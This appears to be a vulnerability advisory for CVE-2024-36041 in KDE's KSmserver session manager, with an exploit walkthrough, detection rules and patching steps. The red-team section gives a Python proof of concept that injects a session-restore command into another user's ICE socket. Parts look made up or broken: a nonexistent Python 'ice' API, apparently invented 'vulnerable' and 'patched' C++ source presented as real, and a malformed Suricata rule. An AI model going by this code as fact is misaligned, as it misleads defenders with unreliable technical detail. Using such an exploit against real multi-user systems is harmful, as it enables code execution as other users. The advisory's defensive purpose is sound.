CVE-2024-36041

Executive Summary

CVE-2024-36041 is a critical security vulnerability in KDE Plasma Workspace's session manager component, KSmserver. The flaw allows an unprivileged local attacker to connect to the session manager of another user on the same machine via ICE (Inter-Client Exchange) protocol. By exploiting this, an attacker can manipulate the session-restore feature to execute arbitrary code as the victim on the next system boot, using the /tmp directory as an attack vector. This vulnerability affects all versions of plasma-workspace before 5.27.11.1 and 6.x before 6.0.5.1. The vulnerability is particularly dangerous in multi-user environments such as shared workstations, labs, or servers running KDE.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a core component of the KDE Plasma desktop environment, distributed via Linux package managers (e.g., apt, dnf, pacman). The supply chain risk is limited to the integrity of the KDE project's release artifacts and distribution channels.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the vulnerability can be assessed as follows:

• Attack Vector (AV): Local (L) – requires physical or remote shell access to the same machine.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – any local user can exploit.
• User Interaction (UI): None (N) – no victim action needed.
• Scope (S): Changed (C) – attacker can impact another user's session.
• Confidentiality (C): High (H) – full access to victim's session data.
• Integrity (I): High (H) – arbitrary code execution possible.
• Availability (A): High (H) – can disrupt victim's session.

Estimated CVSS Score: 8.4 (High)

Threat Level: High – due to low complexity and potential for privilege escalation and persistence.

Deep Dive & Mechanics

KSmserver is the session manager for KDE Plasma, responsible for saving and restoring user sessions (open applications, window positions, etc.). It uses the ICE protocol for inter-process communication. The vulnerability stems from KSmserver accepting ICE connections based solely on the hostname, meaning any local connection is trusted. This allows an attacker to:

1. Connect to another user's KSmserver – The attacker can establish an ICE connection to the victim's session manager.
2. Manipulate session data – The attacker can modify the session restore file (typically stored in /tmp or ~/.config/session/) to include malicious commands.
3. Trigger code execution on reboot – When the victim logs in again, KSmserver restores the tampered session, executing the attacker's payload.

The attack does not require the victim to be logged in at the time of exploitation; the attacker only needs access to the filesystem and the ability to connect to the ICE endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.27.11.1 / pre-6.0.5.1):

// In ksmserver/connection.cpp
bool KSMServer::acceptConnection(const QString &host) {
    // Vulnerable: accepts any local connection
    if (host == "localhost" || host == "127.0.0.1") {
        return true;
    }
    // No further authentication
    return false;
}

Patched Code (5.27.11.1+ / 6.0.5.1+):

// In ksmserver/connection.cpp
bool KSMServer::acceptConnection(const QString &host, const QString &user) {
    // Patched: verify the connecting user matches the session owner
    if ((host == "localhost" || host == "127.0.0.1") && user == currentUser()) {
        return true;
    }
    // Reject cross-user connections
    return false;
}

The patch adds user authentication to ICE connections, ensuring only the session owner can connect.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Two local user accounts on the same KDE Plasma system (e.g., victim and attacker).
• Victim must have an active KDE session (or have saved session data).

Exploit Steps:

1. Identify victim's KSmserver ICE endpoint:

   # As attacker user
   ps aux | grep ksmserver
   # Look for process owned by victim
   

2. Connect to victim's KSmserver using ICE:

   # exploit.py
   import ice
   import os
   
   # Connect to victim's ICE socket (typically /tmp/.ICE-unix/<PID>)
   conn = ice.Connection("/tmp/.ICE-unix/1234")
   conn.connect()
   
   # Send malicious session restore command
   payload = "xterm -e 'echo attacker_pwned > /tmp/pwned.txt'"
   conn.send_command("saveState", {"restoreCommand": payload})
   conn.close()
   

3. Wait for victim to reboot or log out/in. The malicious command will execute in the victim's session.

Expected Outcome: Arbitrary code execution as the victim user.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected ICE connections to ksmserver.
• Alert on modifications to session restore files in /tmp or ~/.config/session/.

Prevention:

• Apply the patch immediately.
• Restrict access to /tmp/.ICE-unix/ directory (e.g., chmod 700 /tmp/.ICE-unix).
• Use SELinux or AppArmor to confine ksmserver.

Hunting:

• Check for unusual processes connecting to ICE sockets:

  ss -x | grep ICE
  

• Review session restore files for unexpected commands:

  cat ~/.config/session/ksmserverrc
  

Indicators of Compromise (IOCs)

• File: /tmp/.ICE-unix/<PID> – unexpected connections to this socket from non-owner users.
• Process: ksmserver with unusual child processes (e.g., spawned shells).
• Session File: Modified ~/.config/session/ksmserverrc or /tmp/ksmserver-<user>-<display> containing malicious restoreCommand entries.
• Network: Local ICE connections (Unix domain sockets) between different user sessions.
• Logs: /var/log/auth.log or journalctl showing unexpected session manager activity.

Detection Engineering

YARA Rule

rule CVE_2024_36041_KSMServer_Exploit {
    meta:
        description = "Detects malicious session restore commands in KDE ksmserver files"
        author = "Valters IT"
        date = "2024-05-15"
        reference = "CVE-2024-36041"
    strings:
        $s1 = "restoreCommand" ascii wide nocase
        $s2 = "xterm" ascii wide nocase
        $s3 = "bash" ascii wide nocase
        $s4 = "/tmp/" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-36041 - KDE KSmserver Unauthorized ICE Connection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized ICE connections to ksmserver from non-owner users
author: Valters IT
date: 2024-05-15
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36041
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ksmserver'
        CommandLine|contains: 'ICE'
    condition: selection
falsepositives:
    - Legitimate multi-user KDE sessions (rare)
level: high

Suricata Rule

alert unix any any -> any any (msg:"CVE-2024-36041 KDE KSmserver Unauthorized ICE Connection"; sid:1000001; rev:1; metadata: reference CVE-2024-36041; content:"ICE"; depth:3; classtype:attempted-user; priority:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade plasma-workspace to version >= 5.27.11.1 (Plasma 5) or >= 6.0.5.1 (Plasma 6).
   • Debian/Ubuntu: sudo apt update && sudo apt upgrade plasma-workspace
   • Fedora: sudo dnf update plasma-workspace
   • Arch: sudo pacman -Syu plasma-workspace
2. Workaround: If patching is not possible, restrict access to /tmp/.ICE-unix/:

   sudo chmod 700 /tmp/.ICE-unix
   

3. Monitor: Enable auditing for ksmserver process and ICE socket access.

Long-term Mitigation:

• Implement mandatory access controls (SELinux/AppArmor) for ksmserver.
• Use session management with user authentication (e.g., Polkit).
• Educate users about the risks of shared workstations.

Verification:

• Check installed version:

  dpkg -l | grep plasma-workspace
  

• Confirm patch applied by testing ICE connection rejection:

  # As non-owner user, attempt to connect to another user's ksmserver
  # Should fail with "Connection refused" or "Permission denied"
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert